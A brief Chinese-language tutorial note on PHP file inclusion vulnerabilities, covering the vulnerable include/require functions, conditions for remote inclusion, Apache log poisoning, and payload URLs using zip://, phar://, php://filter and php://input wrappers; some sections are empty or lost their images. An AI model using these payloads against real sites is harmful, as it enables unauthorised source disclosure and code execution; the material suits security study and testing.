文件包含

一、漏洞产生的函数

include()
include_once()      //检查是否已经包含,如果包含,就不再执行包含
require()      
require_once()

include与require最大的区别在于,如果包含的文件存在错误;那么include弹出警告,脚本继续执行。而require会终止运行脚本

二、包含类型

1、本地包含

2、远程包含

  • allow_url_include = on
  • magic_quotes_gpc = off
    以上两个条件在php.ini文件中都满足,才有可能产生远程文件包含

三、漏洞利用

1、日志包含

httpd.conf中取消CustomLog "logs/access.log" common的#号
通常Apache的日志在:

  • Apache/logs/access.log //访问日志
  • Apache/logs/error.log //错误日志

抓包时空格用+代替

2、php伪协议

include.php?file=zip://phpinfo.zip%23phpinfo
include.php?file=phar://./phpinfo.zip/phpinfo      //输入文件相对路径,并且php在5.3以后
include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php      //读取文件以base64加密读取

文件包含
文件包含
文件包含

3、远程文件包含命令执行

allow_url_include = on
include.php?file=php://input
文件包含

四、函数绕过

上一篇:js中属性和方法的类型和区别


下一篇:ASP.NET MVC图片管理(上传,预览与显示)